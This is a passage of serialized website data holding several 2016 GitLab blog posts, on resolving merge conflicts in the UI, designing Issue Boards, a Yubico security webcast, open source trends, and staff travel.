it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666760/Blog/Hero%20Images/merge-conflicts.png","https://about.gitlab.com/blog/resolving-merge-conflicts-from-the-gitlab-ui","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Resolving Merge Conflicts from the GitLab UI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sean McGivern\"}],\n        \"datePublished\": \"2016-09-06\",\n      }",{"title":37479,"description":37480,"authors":37485,"heroImage":37481,"date":37486,"body":37487,"category":299},[20267],"2016-09-06","\nMerge conflicts can be very annoying for both merge request authors and\nreviewers. As an author, I just want my merge request to be merged. But the\nreviewer might not be in the same time zone as me and by the time they review\nmy changes, I have a merge conflict. I then need to fix it and pass the merge\nrequest back to them, which is a lot of busy work for something that could be\nfairly trivial to fix.\n\nSimilarly, as a reviewer, I want merge requests to be accepted when they're\nready. I don't want to spend my time checking out the author's branch, fixing\nthe conflicts, and pushing back; and I don't particularly like waiting around\nfor them to fix it. As an author or a reviewer, I just want to be able to have\nthe merge request accepted, and move on to the next thing. That's why understanding the methods of resolving conflicts is crucial. Fortunately, GitLab has a few ways of resolving conflicts from the GitLab UI.\n\nIn GitLab 8.11, we\n[introduced the ability to resolve merge conflicts in the UI][release-post]. This\npost describes the background for the feature, how it works, and what we're\nplanning to do next with it.\n\n\u003C!-- more -->\n\n## What is a merge conflict?\n\nA merge conflict is when a merge can't be performed cleanly between two versions\nof the same file. An error message\nmay appear, indicating the conflict is too complex.\n\n### Wait, what's a merge?\n\nA merge is a way of combining two sets of changes made in different branches. In\nGitLab, we handle this with [Merge Requests][mr], which are requests to merge\nthe changes we've made to a file (or a group of files), from a [feature\nbranch][fb] into another branch, for example, `master`.\n\nWhen the merge request is merged, the changes from `new-feature` are added to\n`master`. This happens by looking at all of the changes made in the `master` branch since\nthe `new-feature` branch was created, and all the changes made in `new-feature`,\nand applying them to the files changed.\n\nMost of the time, Git can do this automatically, but sometimes it can't. For\ninstance, if we changed a line of code in our `new-feature` branch, but that line was\nalso changed in `master`, Git doesn't know which line to accept. When this happens, someone needs to manually tell Git which line\nto use, which creates a **merge conflict**.\n\n**Note:** for this post, we will just concentrate on conflicts within a file. However,\nrenames and deletions can also cause conflicts, and we\n[plan on supporting those][20665] in the future.\n{: .note}\n\n## Why are merge conflicts a problem?\n\nThey're really annoying!\n\nWhen there's a conflict in a [version control](/topics/version-control/) system, a merge request can't be merged without manual\nintervention.\n\nIf you can't resolve complex merge conflicts within GitLab, that means that any merge\nrequest with a conflict needs to be checked out locally, resolved locally,\npushed back, and merged. That's a hassle and can't be done without having some\nGit tools installed locally. At GitLab, we want\n[everyone to be able to collaborate on all digital content][vision], and that\nmeans not having to install special tools whenever possible.\n\n### Types of conflict resolution\n\nThere are several methods of resolving conflicts:\n\n1. Just pick one version, and use that. This is often the case with generated\n   files. One example is the [`schema.rb`][schema-rb] file in a Rails app.\n   Conflicts on the schema version line are common, but we (almost) always want\n   the latest version.\n\n2. Keep the lines of code from both versions. A great example of this is the\n   [GitLab CE CHANGELOG file][changelog], which is a\n   [frequent source of merge conflicts][changelog-crisis]. We're working on\n   [tooling to help with this][automated-changelogs], but that's specific to\n   GitLab rather than applicable to every project.\n\n3. Write our own resolution. For instance, if we started with the sentence:\n\n    > There are two versions of GitLab: CE and EE\n\n    I might think that those acronyms should be spelled out:\n\n    > There are two versions of GitLab: Community Edition (CE) and Enterprise Edition (EE)\n\n    And you might think that the sentence needs some closing punctuation:\n\n    > There are two versions of GitLab: CE and EE.\n\n    Because conflicts are based on lines, there's no way to automatically pick\n    both of those changes. We can do so manually, though:\n\n    > There are two versions of GitLab: Community Edition (CE) and Enterprise Edition (EE).\n\nAt present, the conflict resolution support in GitLab is only really useful for\nresolving the first type of conflict. The [merge conflict resolution editor](https://gitlab.pavlovia.org/help/user/project/merge_requests/resolve_conflicts.md) allows for more complex [conflicts](https://docs.gitlab.com/ee/user/project/merge_requests/conflicts.html) to be resolved by manually modifying a file from the GitLab interface. \n\n## How do we resolve them?\n\nWhen a merge request can have its conflicts resolved within GitLab, it will have\na link within the merge box to 'resolve these conflicts':\n\n![The 'resolve these conflicts' link on a merge request](https://about.gitlab.com/images/blogimages/resolving-merge-conflicts-from-the-gitlab-ui/mr-widget.png){: .shadow}\n\nClicking that link will show a list of files with conflicts, with conflict sections\nhighlighted as 'our changes' (the changes in the merge request's source branch)\nand 'their changes' (the changes in the merge request's target branch):\n\n![Some example merge conflicts](https://about.gitlab.com/images/blogimages/resolving-merge-conflicts-from-the-gitlab-ui/merge-conflicts.png){: .shadow}\n\nHere's an example of a more complex merge conflict in a `schema.rb` that I resolved on the GitLab CE\nproject:\n\n![Resolving a merge conflict](https://about.gitlab.com/images/8_11/resolve_mc.gif){: .shadow}\n\n### How does that work?\n\nThe current implementation, at a high level, works like this:\n\n1. If a merge request has conflicts, GitLab gets a list of the\n   [files with merge conflicts][rugged-conflicts].\n2. For each file, it then\n   [generates a merged file with conflict markers][rugged-merge-file].\n3. GitLab parses those conflict markers out and presents them to the UI as\n   sections: context, our side of the conflict, their side of the conflict,\n   context, etc.\n4. When the UI passes the section IDs back, we do the same thing. This time,\n   GitLab only keeps the sections the user selected, along with all context\n   sections.\n5. GitLab joins the resolved lines together to create a resolved file, and\n   [adds it to the Git index][rugged-add].\n6. Finally, we write that index as a merge commit to the source branch.\n\nIf the source branch is `new-feature` and the target branch is `master`, then\nthis does basically the same thing as running:\n\n```\ngit checkout new-feature\ngit merge master\n```\n\n### Why can't some conflicts be resolved in GitLab?\n\nThe implementation above produces a number of constraints (for the most\nup-to-date list, please see the\n[merge conflict resolution documentation](https://docs.gitlab.com/ee/user/project/merge_requests/conflicts.html):\n\n1. If the file contains conflict markers that mean we can't parse the file contents\n   unambiguously, we can't show the sections. We will, however, be able to allow\n   [resolving those conflicts in an editor](#an-editor).\n2. If the file is a binary file, we can't parse the file for conflict markers\n   because they are only added to text files. Again, we plan to\n   [allow resolving conflicts in binary files](#binary-files) in the future.\n3. If the file [isn't in a UTF-8 compatible encoding][21247], we can't allow\n   resolving it because we pass data back and forth as JSON.\n4. If the file is too large (over 200 KB), we avoid parsing it.\n\nBecause all conflicts must be resolved at once, if any of the conflicts for a\nmerge request can't be resolved in the GitLab UI, then the conflicts must be\nresolved manually.\n\n## What's next?\n\nThere are plenty of places for improving our current implementation, and we'd\nlove to hear of ones we haven't thought of. Here are three obvious ones already\nin our [issue tracker][ce-issues].\n\n### An inline editor!\n\nThe most obvious improvement is to allow\n[editing the conflict resolution][20344]. This is closer to the experience on\nthe command line, with the conflict markers present in the file. It will also\ncover most of the problem cases listed above with the current approach.\n\n### Binary files!\n\nIn addition to this, as binary files are typically not manually mergeable, we\ncould just [show both file versions][20664], and ask which one to use. This will work\nbest for images, but can support all binary files.\n\n### Renames!\n\nIncompatible renames are detected as conflicts by the `git` command line tool,\nbut not by the library we use at GitLab. We can [detect rename conflicts][20345]\nourselves, it's just more work.\n\n**For the latest information on how to resolve merge conflicts in GitLab, check out our [documentation](https://docs.gitlab.com/ee/user/project/merge_requests/conflicts.html).**\n\n[20344]: https://gitlab.com/gitlab-org/gitlab-ce/issues/20344\n[20345]: https://gitlab.com/gitlab-org/gitlab-ce/issues/20345\n[20664]: https://gitlab.com/gitlab-org/gitlab-ce/issues/20664\n[20665]: https://gitlab.com/gitlab-org/gitlab-ce/issues/20665\n[21247]: https://gitlab.com/gitlab-org/gitlab-ce/issues/21247\n[automated-changelogs]: https://gitlab.com/gitlab-org/release-tools/merge_requests/29\n[ce-issues]: https://gitlab.com/gitlab-org/gitlab-ce/issues\n[changelog-crisis]: https://gitlab.com/gitlab-org/gitlab-ce/issues/17826\n[changelog]: https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CHANGELOG.md\n[conflict-docs]: https://docs.gitlab.com/ee/user/project/merge_requests/resolve_conflicts.html\n[release-post]: /releases/2016/08/22/gitlab-8-11-released/#merge-conflict-resolution\n[rugged-add]: http://www.rubydoc.info/github/libgit2/rugged/Rugged/Index#add-instance_method\n[rugged-conflicts]: http://www.rubydoc.info/github/libgit2/rugged/Rugged/Index#conflicts-instance_method\n[rugged-merge-file]: http://www.rubydoc.info/github/libgit2/rugged/Rugged/Index#merge_file-instance_method\n[schema-rb]: http://guides.rubyonrails.org/active_record_migrations.html#what-are-schema-files-for-questionmark\n[vision]: /direction/#vision\n[fb]: https://docs.gitlab.com/ee/gitlab-basics/feature_branch_workflow.html\n[mr]: http://doc.gitlab.com/ce/user/project/merge_requests.html\n",{"slug":37489,"featured":6,"template":678},"resolving-merge-conflicts-from-the-gitlab-ui","content:en-us:blog:resolving-merge-conflicts-from-the-gitlab-ui.yml","Resolving Merge Conflicts From The Gitlab Ui","en-us/blog/resolving-merge-conflicts-from-the-gitlab-ui.yml","en-us/blog/resolving-merge-conflicts-from-the-gitlab-ui",{"_path":37495,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37496,"content":37502,"config":37506,"_id":37508,"_type":16,"title":37509,"_source":17,"_file":37510,"_stem":37511,"_extension":20},"/en-us/blog/designing-issue-boards",{"title":37497,"description":37498,"ogTitle":37497,"ogDescription":37498,"noIndex":6,"ogImage":37499,"ogUrl":37500,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37500,"schema":37501},"Feature Highlight: Designing Issue Boards","Feature Highlight: Learn how the UX team worked together on the creation of Issue Boards.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671516/Blog/Hero%20Images/header-image.png","https://about.gitlab.com/blog/designing-issue-boards","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Highlight: Designing Issue Boards\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taurie Davis\"}],\n        \"datePublished\": \"2016-08-31\",\n      }",{"title":37497,"description":37498,"authors":37503,"heroImage":37499,"date":37504,"body":37505,"category":299},[19672],"2016-08-31","\n\nAccurate planning and coordination of each release at GitLab is critical to shipping useful features on time. In order to improve our planning process, not only ourselves but also for everyone who uses GitLab, we took a look at our existing features that help teams organize issues. From here, we determined that our current [Milestone Board](/blog/feature-highlight-set-dates-for-issues/#milestones) was not powerful enough for larger teams or more complex projects. The team then began to brainstorm ideas for designing and implementing a new type of board that allows users to visually plan issues.\n\n\u003C!--more-->\n\n## The Proposal\n\nAt GitLab, we believe that the speed of innovation for our organization and product is constrained by the total complexity we've added so far. Creating [boring solutions](https://handbook.gitlab.com/handbook/values/#boring-solutions) and simplifying our product to its absolute minimum allows us to ship faster and make iterations based on real user feedback. With this in mind, our team began determining basic principles that would help guide us during the creation process of the new Issue Board feature.\n\nWe knew we wanted the product to be able to:\n\n- Provide an overview of issues in a more visual way\n- Allow for a workflow with multiple intermediate steps\n- Use existing metadata that would keep the same sorting and filtering tools that already exist\n\n    \nKnowing this, the team was able to craft a [proposal](https://gitlab.com/gitlab-org/gitlab-ce/issues/17907) that began to come to life with requirements, user stories, and wireframes.\n\n![wireframe](https://about.gitlab.com/images/blogimages/designing-issue-boards/wireframe.png){: .shadow}\n\n## Feedback & Challenges\n\nHere at GitLab we are able to gather feedback early by posting our proposals as issues that are publicly available to team members, contributors, customers, and users. With over 100 participants, the Issue Boards proposal received a lot of responses that validated many of our assumptions, addressed concerns, and provided insight for future improvements.\n\nSome concerns included:\n\n- **Using labels as lists.** The drawback being that it can be confusing to use labels for issues, as well as creating lists. However, we believe that the flexibility of using labels for lists outweighs the downsides. Users will have the same metadata available throughout GitLab, as well as be able to use all the same sorting and filtering tools that already exist.\n- **Assigning multiple list labels to one issue.** We believe that managing boards should be up to the user. If a user assigns three list labels to the same issue, the issue will display in all three corresponding lists and the labels will change if you drag the issue from one column to another. As a user [mentioned](https://gitlab.com/gitlab-org/gitlab-ce/issues/17907#note_12602314): *\"Being able to display the same issues in multiple ways to track needs differently for different user-types through different work flows would be hugely valuable.\"*  We definitely agree!\n- **Only having one Issue Board per project.** The current scope of this feature for [GitLab 8.11](/releases/2016/08/22/gitlab-8-11-released/) allowed only a single board per project. However, we understand the benefit of having multiple boards per project. We also recognize that many teams work across repositories and want to see Issue Boards available at a group level. These are improvements we are planning for a future release. :)\n\n## Refining through Collaboration\n\nAfter addressing participants' concerns, the UX team started further refining UI elements and polishing interactions. Every member of the UX team worked on the design at some stage of the process and we came to the final product through iteration and collaboration.\n\nWe worked on creating a board that turned issues into draggable cards, provided an easy way to create default lists, and took advantage of the metadata that labels gave us by keeping the same filtering options that are available throughout the site. We also determined that the default Backlog list could contain an unmanageable number of issues, so we added a search functionality in order to find issues more easily.\n\nThe design, development, and product teams all worked closely throughout the creation process and met up once a week to discuss challenges, status, and overall excitement for the launch of this feature. \n\n![issue-board](https://about.gitlab.com/images/blogimages/designing-issue-boards/issue-board.gif){: .shadow}\n\n## What's next\n\nThe [GitLab Issue Board](/stages-devops-lifecycle/issueboard/) was created as a flexible tool that can be used for various workflows and tasks. We lean towards light-weight, flexible implementations so we can ship quickly, see real use cases, and make informed iterations. We are super excited to [continue working](https://gitlab.com/gitlab-org/gitlab-ce/issues/21365) on Issue Boards in the upcoming releases; from multiple and cross-project boards to searching through all lists and creating an issue directly from the board view. If you have further ideas for future improvements, let us know by [making an issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/new?issue)!\n\n## Join our webcast \nIf you want to see a live demo of the Issue Board and see some of the other great features in [GitLab 8.11](/releases/2016/08/22/gitlab-8-11-released/), join our webcast on September 1st. [Register now](https://page.gitlab.com/IssueBoardWebcast_LandingPage.html).  \n\n",{"slug":37507,"featured":6,"template":678},"designing-issue-boards","content:en-us:blog:designing-issue-boards.yml","Designing Issue Boards","en-us/blog/designing-issue-boards.yml","en-us/blog/designing-issue-boards",{"_path":37513,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37514,"content":37520,"config":37523,"_id":37525,"_type":16,"title":37526,"_source":17,"_file":37527,"_stem":37528,"_extension":20},"/en-us/blog/gitlab-and-yubico-security-webcast",{"title":37515,"description":37516,"ogTitle":37515,"ogDescription":37516,"noIndex":6,"ogImage":37517,"ogUrl":37518,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37518,"schema":37519},"Security Webcast with Yubico","GitLab and Yubico discuss security best practices for Git users.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666581/Blog/Hero%20Images/fido-u2f-yubikey.jpg","https://about.gitlab.com/blog/gitlab-and-yubico-security-webcast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Security Webcast with Yubico\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amara Nwaigwe\"}],\n        \"datePublished\": \"2016-08-31\",\n      }",{"title":37515,"description":37516,"authors":37521,"heroImage":37517,"date":37504,"body":37522,"category":8943},[36786],"\n{::options parse_block_html=\"true\" /}\n\n\u003Cp>Git is distributed, meaning that people can maintain a copy of the source code. While Git’s distributed nature is what makes it so\npopular amongst developers, it is also what makes it a security concern to enterprises. The concern is that your source code is only\nas secure as the machine it’s been copied. Each of these devices could be a point of exposure. We understand how important it\nis to maintain the integrity of your source code.\u003C/p>\n\nWith the release of [GitLab 8.9][8.9] we announced that we partnered with [Yubico][youb-home] to help\ncustomers strengthen their authentication process with YubiKeys. YubiKeys are a single key providing universal 2nd factor\nauthentication into an unlimited number of applications. After [our announcement][yub], we asked Yubico to join us on a webcast. In this\nwebcast, we talked about common security threats and how you can use GitLab and Yubico to protect your private data\nand maintain a secure Git repo as a single source of truth.\n\n\u003C!-- more -->\n\n## In this Webcast\n\n- Top security threats\n- Inside look at how YubiKeys work\n- Demo of setting up and using a YubiKey with GitLab\n- Demo GitLab’s additional security capabilities beyond authentication\n- Industry best practices for securing your Git repository\n\n## Recording & Slides\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/pO9-7R3N5Ok\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\u003Cbr>\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://docs.google.com/presentation/d/175zQz9CcQf3fQ65rbYFH_ysgllEkXrtnjYpAH_CDcrc/embed?start=false&loop=false&delayms=5000\" frameborder=\"0\" width=\"1280\" height=\"749\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n## Key Takeaways\n\nIf you don’t have time to watch the full video, here are the highlights.\n\n\u003Cdiv class=\"panel panel-info\">\n\u003Cp class=\"panel-heading\"> \u003Cstrong>Definition of a YubiKey\u003Cstrong>\u003Cp>\n\u003Cdiv class=\"panel-body\">\n  \u003Cp>A \u003Ca href=\"https://www.yubico.com/faq/yubikey/\">YubiKey\u003C/a> is a small hardware device that offers two-factor authentication with a simple touch of a button.\u003C/p>\n\u003C/div>\n\u003C/div>\n\u003Cbr>\n\u003Cdiv class=\"panel panel-success\">\n  \u003Cp class=\"panel-heading\">\u003Cstrong>Reasons YubiKeys are preferred over 2FA via SMS\u003C/strong>\u003C/p>\n\n\u003Cdiv class=\"panel-body\">\n  \u003Cp>From a security standpoint, push notifications and SMS codes (a form of \u003Ca href=\"https://en.wikipedia.org/wiki/One-time_password\">One-time Passwords\u003C/a>) are all\nvulnerable to phishing attacks and replay attacks. Getting a bit technical here, if you are using the U2F protocol\nwith the YubiKey, a properly implemented U2F registration flow contains Origin (phishing protection!) information\nas well as TLS Channel Identification information (Man in the Middle attack protection). Finally, the\n    challenge-response piece of the U2F protocol provides complete replay attack protection.\u003C/p>\n\u003C/div>\n\u003C/div>\n\n\u003Cdiv class=\"panel panel-gitlab\">\n  \u003Cp class=\"panel-heading\">\u003Cstrong>GitLab + YubiKey\u003C/strong>\u003C/p>\n\u003Cdiv class=\"panel-body\">\nOur goal is to secure our customer’s work with proven, seamless solutions. The YubiKey provides\n  \u003Ca href=\"https://www.yubico.com/2015/11/yubico-docker-codesign/\">one-touch authentication\u003C/a>, reducing the number of steps users have to take to access their accounts.\nRemembering and entering passwords or pins can be a cumbersome process. Hopefully, YubiKeys can reduce some\nof that friction and encourage more teams to secure their GitLab instance.\n\u003C/div>\n\u003C/div>\n  \u003Cbr>\n\n\u003Cdiv class=\"panel panel-danger\">\n  \u003Cp class=\"panel-heading\">\u003Cstrong>GitLab's additional security capabilities beyond authentication\u003C/strong>\u003C/p>\n\n\u003Cdiv class=\"panel-body\">\n  \u003Cul>\n    \u003Cli>Access and permissions: control who has access to your repositories\u003C/li>\n     \u003Cli>Workflow management: control what changes are being made to your repositories\u003C/li>\n     \u003Cli>Audit trail: keep a record of what happened within you GitLab instance\u003C/li>\n  \u003C/ul>\n\u003C/div>\n\u003C/div>\n\n\u003Cdiv class=\"panel panel-gitlab-purple\">\n  \u003Cp class=\"panel-heading\">\u003Cstrong>Nine security best practices\u003C/strong>\u003C/p>\n\n\u003Cdiv class=\"panel-body\">\n\u003Cp>Of course there are many more than just nine. These were the ones that stuck out to us but for more resources\n  take a look at \u003Ca href=\"http://resources.infosecinstitute.com/security-best-practices-for-git-users/\">InfoSec’s article on security best practices for Git users\u003C/a> and you can also check out\n  the \u003Ca href=\"/handbook/security/\">security section\u003C/a> of our employee handbook.\u003C/p>\n\n  \u003Col>\n    \u003Cli>Assign strong passwords and store in an encrypted vault (e.g., \u003Ca href=\"https://1password.com/\">1Password\u003C/a>).\u003C/li>\n    \u003Cli>Never reuse your passwords across accounts.\u003C/li>\n    \u003Cli>Ensure proper user identity by restricting the use of shared or system accounts.\u003C/li>\n    \u003Cli>Enforce two-factor authentication.\u003C/li>\n    \u003Cli>Assign and review the proper access and permissions levels to projects.\u003C/li>\n    \u003Cli>Only use HTTPS or SSH to access git repositories, git repository management software, CI systems and ticketing / bug tracking systems.\u003C/li>\n    \u003Cli>Enforce integrity checks on all incoming objects by setting \u003Ccode>transfer.fsckObjects\u003C/code>, \u003Ccode>fetch.fsckObjects\u003C/code> and \u003Ccode>receive.fscObjects\u003C/code> to \u003Ccode>true\u003C/code>.\u003C/li>\n    \u003Cli>Enforce usage of \u003Ccode>.gitignore\u003C/code> files by providing a proper \u003Ccode>.gitignore\u003C/code> file content to all current and future projects.\u003C/li>\n  \u003C/ol>\n\u003C/div>\n\u003C/div>\n\nAs always, if you have any questions feel free to comment on this post or [tweet at us].\n\n\u003C!-- identifiers -->\n\n[1-pass]: https://1password.com/\n[1-t-pass]: https://en.wikipedia.org/wiki/One-time_password\n[8.9]: /releases/2016/06/22/gitlab-8-9-released/\n[hand]: /handbook/security/\n[post]: http://resources.infosecinstitute.com/security-best-practices-for-git-users/\n[touch]: https://www.yubico.com/2015/11/yubico-docker-codesign/\n[tweet at us]: https://twitter.com/gitlab\n[what-is]: https://www.yubico.com/faq/yubikey/\n[yub]: /blog/gitlab-adds-support-for-u2f/\n[youb-home]: https://www.yubico.com/\n\n\u003C!-- custom styles -->\n\n\u003Cstyle>\n.panel-gitlab {\n  border-color: rgba(252,163,38,.3);\n}\n.panel-gitlab > .panel-heading {\n  color: rgb(226,67,41);\n  background-color: rgba(252,163,38,.3);\n  border-color: rgba(252,163,38,.3);\n}\n.panel-gitlab-purple {\n  border-color: rgba(107,79,187,.3);\n}\n.panel-gitlab-purple > .panel-heading {\n  color: rgb(107,79,187);\n  background-color: rgba(107,79,187,.3);\n  border-color: rgba(107,79,187,.3);\n}\n\u003C/style>\n",{"slug":37524,"featured":6,"template":678},"gitlab-and-yubico-security-webcast","content:en-us:blog:gitlab-and-yubico-security-webcast.yml","Gitlab And Yubico Security Webcast","en-us/blog/gitlab-and-yubico-security-webcast.yml","en-us/blog/gitlab-and-yubico-security-webcast",{"_path":37530,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37531,"content":37537,"config":37541,"_id":37543,"_type":16,"title":37544,"_source":17,"_file":37545,"_stem":37546,"_extension":20},"/en-us/blog/trends-in-version-control-land-open-source",{"title":37532,"description":37533,"ogTitle":37532,"ogDescription":37533,"noIndex":6,"ogImage":37534,"ogUrl":37535,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37535,"schema":37536},"Trends in Version Control Land: Open Source","In this final post, I’d like to share my thoughts on an exciting new trend: open source practices expanding into a variety of industries.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683589/Blog/Hero%20Images/sunset.jpg","https://about.gitlab.com/blog/trends-in-version-control-land-open-source","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Trends in Version Control Land: Open Source\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-08-29\",\n      }",{"title":37532,"description":37533,"authors":37538,"heroImage":37534,"date":37539,"body":37540,"category":813},[3532],"2016-08-29","\n\nEarlier in this series, we explained how [innersourcing][post-1] can solve\ncommon enterprise challenges, the benefits of\n[releasing early and often][post-2], and the efficiency of\n[microservices architecture][post-3]. In this final post, I’d like to\nshare my thoughts on an exciting new trend: **open source** practices expanding into a variety of industries.\nOver the past year, we've seen more and more companies are engaging with open source.\n\n\u003C!-- more -->\n\nIt turns out that as more companies become comfortable with the implications\nof open source - loosening control in exchange for more productive collaboration — open source is turning out to be an incredibly useful\nsolution in a number of industries. In fact, according to the 2016\n[Future of Open Source Survey][survey], **90%** of respondents say open source improves efficiency,\nand **65%** contribute to open source projects.\n\nThere's been a shift toward open source across the board, and there are a few key reasons why this is happening.\n\n**1. When a lot of people use it, open source just makes sense.**\n{: .alert .alert-success}\n\nWhen a lot of people use a program, there's greater opportunity\nto crowdsource feedback and solutions from users. Therefore, [going open source][open-source-who] offers\na shortcut to improvement.\n\nSoftware that’s used by the majority of a large company, for example, is\nlikely to become open source, as is software that’s very popular within a\nparticular sector. More and more, enterprise infrastructure is becoming open\nsource, including networking programs, security scanning, ERP, etc.\n\n**2. If a lot of companies use it, open source makes even more sense.**\n{: .alert .alert-success}\n\nWhen there’s a software solution that can serve a lot of different needs,\nand thus is adopted by [a lot of different companies][open-source-companies], then\nit will likely become open source. The same rule applies as above\n(more users = shortcut to improvement), but broad international use\nintensifies this effect, where having a strong reputation among developers\nand the ability to facilitate collaborative development will drive interest\nin open source. We [saw this happen with, e.g., Linux][open-source-linux].\n\n**3. If it’s close to developers, it’ll become open source.**\n{: .alert .alert-success}\n\nSoftware that’s close to people who actually have the skill set to\nimprove on it is very likely to go open source. If a developer has\nan issue with the software, they can scratch that itch and fix it,\n_bing-bang-boom!_ 💥 This is the beauty of open source. Not surprisingly,\nthis happens most often in verticals like development tooling. It also\nhelps that in verticals that are close to developers, decision\nmakers are likely to include those who understand the value of open\nsource, making it a faster leap.\n\nReally, the only software that is likely to stay proprietary is something\nthat is used by very small or specific groups. This includes verticals like oil and\ngas or healthcare. Although, even in [healthcare, open source is happening](https://en.wikipedia.org/wiki/List_of_open-source_health_software) — it’s\njust happening more slowly, and it may not affect everyone.\n\nHave you spotted a [version control](/topics/version-control/) trend that you want to share or that\nyou’d like us to write about? Let us know! Comment or tweet at us [@GitLab].\n\n\u003C!-- Identifiers, in alphabetical order -->\n\n[@GitLab]: https://twitter.com/gitlab\n[open-source-companies]: https://en.wikipedia.org/wiki/List_of_free_and_open-source_software_packages\n[open-source-linux]: https://en.wikipedia.org/wiki/Open-source_software#Open-source_software_development\n[open-source-who]: http://www.makeuseof.com/tag/people-contribute-open-source-projects/\n[post-1]: /topics/version-control/what-is-innersource/\n[post-2]: /blog/release-early-release-often/\n[post-3]: /2016/08/16/trends-in-version-control-land-microservices/\n[survey]: https://www.blackducksoftware.com/2016-future-of-open-source\n\n\n\u003Cstyle>\n  .alert-success {\n    color: rgb(60,118,61) !important;\n  }\n\u003C/style>\n",{"slug":37542,"featured":6,"template":678},"trends-in-version-control-land-open-source","content:en-us:blog:trends-in-version-control-land-open-source.yml","Trends In Version Control Land Open Source","en-us/blog/trends-in-version-control-land-open-source.yml","en-us/blog/trends-in-version-control-land-open-source",{"_path":37548,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37549,"content":37555,"config":37559,"_id":37561,"_type":16,"title":37562,"_source":17,"_file":37563,"_stem":37564,"_extension":20},"/en-us/blog/gitlab-in-action",{"title":37550,"description":37551,"ogTitle":37550,"ogDescription":37551,"noIndex":6,"ogImage":37552,"ogUrl":37553,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37553,"schema":37554},"GitLab in Action","GitLab team-members on the road!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684165/Blog/Hero%20Images/map.jpg","https://about.gitlab.com/blog/gitlab-in-action","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab in Action\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily Kyle\"}],\n        \"datePublished\": \"2016-08-24\",\n      }",{"title":37550,"description":37551,"authors":37556,"heroImage":37552,"date":37557,"body":37558,"category":6634},[27374],"2016-08-24","\n\nA huge part of the company [culture] at GitLab is the fact that we are fully remote.\nWe have no hub; Google Hangouts are at our core and we are thriving on this model.\n\nWorking remotely affords so many opportunities that being tied to an office never could.\nFor one, you get back the time you used to spend commuting. Some use this extra time to\nsleep, be with their families, work out, practice their craft, or just relax.\nWe still have a daily team call, but it can just happen with pajama pants on! 😃\n\n\u003C!-- more -->\n\nTwo of my coworkers, whom I think are really excelling at this remote work thing,\nare [Robert] and [Douwe]. They won’t promote their awesomeness so I have to.\nThey have set out to meet other GitLab team-members in 12 different countries for the next\n6 months. They are calling it, “Around the World in 6 Releases”.\n\n![Nashville Bowling](https://about.gitlab.com/images/blogimages/gitlab-in-action/nashville_work.jpg)\n\nEvery week or two they head to a new city, spend the weekdays working, the evenings with\nthe local team members, and the weekends sightseeing. I had the pleasure of meeting up\nwith them on a leg of their North America tour.\n\n## Nashville\n\nSomething to note about them - they would rather work than go to the country music hall\nof fame with me. They would also rather make me eat all the fried bologna sandwiches\nand moon pies than participate.\n\nNashville is such a welcoming, lively city. We honkey tonked, Douwe had his first tater tot,\nand we worked from a bowling alley that also had a swimming pool and served some damn good coffee.\n[John] made sure we celebrated National Mac and Cheese Day right with some Hot Hattie B’s Mac\ntopped with their famous hot chicken. When they couldn’t take any more of me leaving Dolly Parton\non repeat, they put on Kimmy Schmidt and pretended to go to sleep.\n\n![Nashville Bowling](https://about.gitlab.com/images/blogimages/gitlab-in-action/nashville.jpg)\n\n## Denver\n\n[Drew] braved a turbulent flight from Nebraska to join us in Denver, where locals [Josh] and [Phil] were determined to show us the best the city had to offer.\nThey tried to take us to a Rockies game, which unfortunately was rained out. We made the best of it\nby going to a local developer meetup. Phil and Josh welcomed us to their local WeWork and once\nwe needed a change of scenery we moved to the bar downstairs, where we were shockingly productive,\nconsidering we were working from a brewery.\n\n![Denver Meetup](https://about.gitlab.com/images/blogimages/gitlab-in-action/denver.jpg)\n\n## Salt Lake City\n\nI had to go home to get clean clothes, but they reported Utah was filled with natural beauty.\nTheir highlight was getting to meet and go to dinner with a local GitLab user [Gabe Gunderson].\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Honored to host these \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a> ers. Cool guys making a difference in the corporate and open-source worlds. \u003Ca href=\"https://twitter.com/hashtag/gitlab?src=hash\">#gitlab\u003C/a> \u003Ca href=\"https://t.co/nBJ5plVJMa\">pic.twitter.com/nBJ5plVJMa\u003C/a>\u003C/p>&mdash; Gabriel Gunderson (@gabegundy) \u003Ca href=\"https://twitter.com/gabegundy/status/759214257594662912\">July 30, 